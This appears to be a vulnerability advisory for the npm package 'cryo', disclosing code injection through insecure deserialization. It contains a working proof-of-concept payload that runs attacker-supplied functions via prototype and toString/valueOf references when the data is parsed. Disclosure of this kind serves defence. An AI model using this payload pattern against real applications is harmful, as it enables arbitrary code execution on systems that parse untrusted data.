Summary: Code Injection in cryo

Details: All versions of `cryo` are vulnerable to code injection due to an Insecure implementation of deserialization. ## Proof of concept ```js var Cryo = require('cryo'); var frozen = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\");return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}' var hydrated = Cryo.parse(frozen); console.log(hydrated); ``` ## Recommendation No fix is currently available. Consider using an alternative module until a fix is made available.
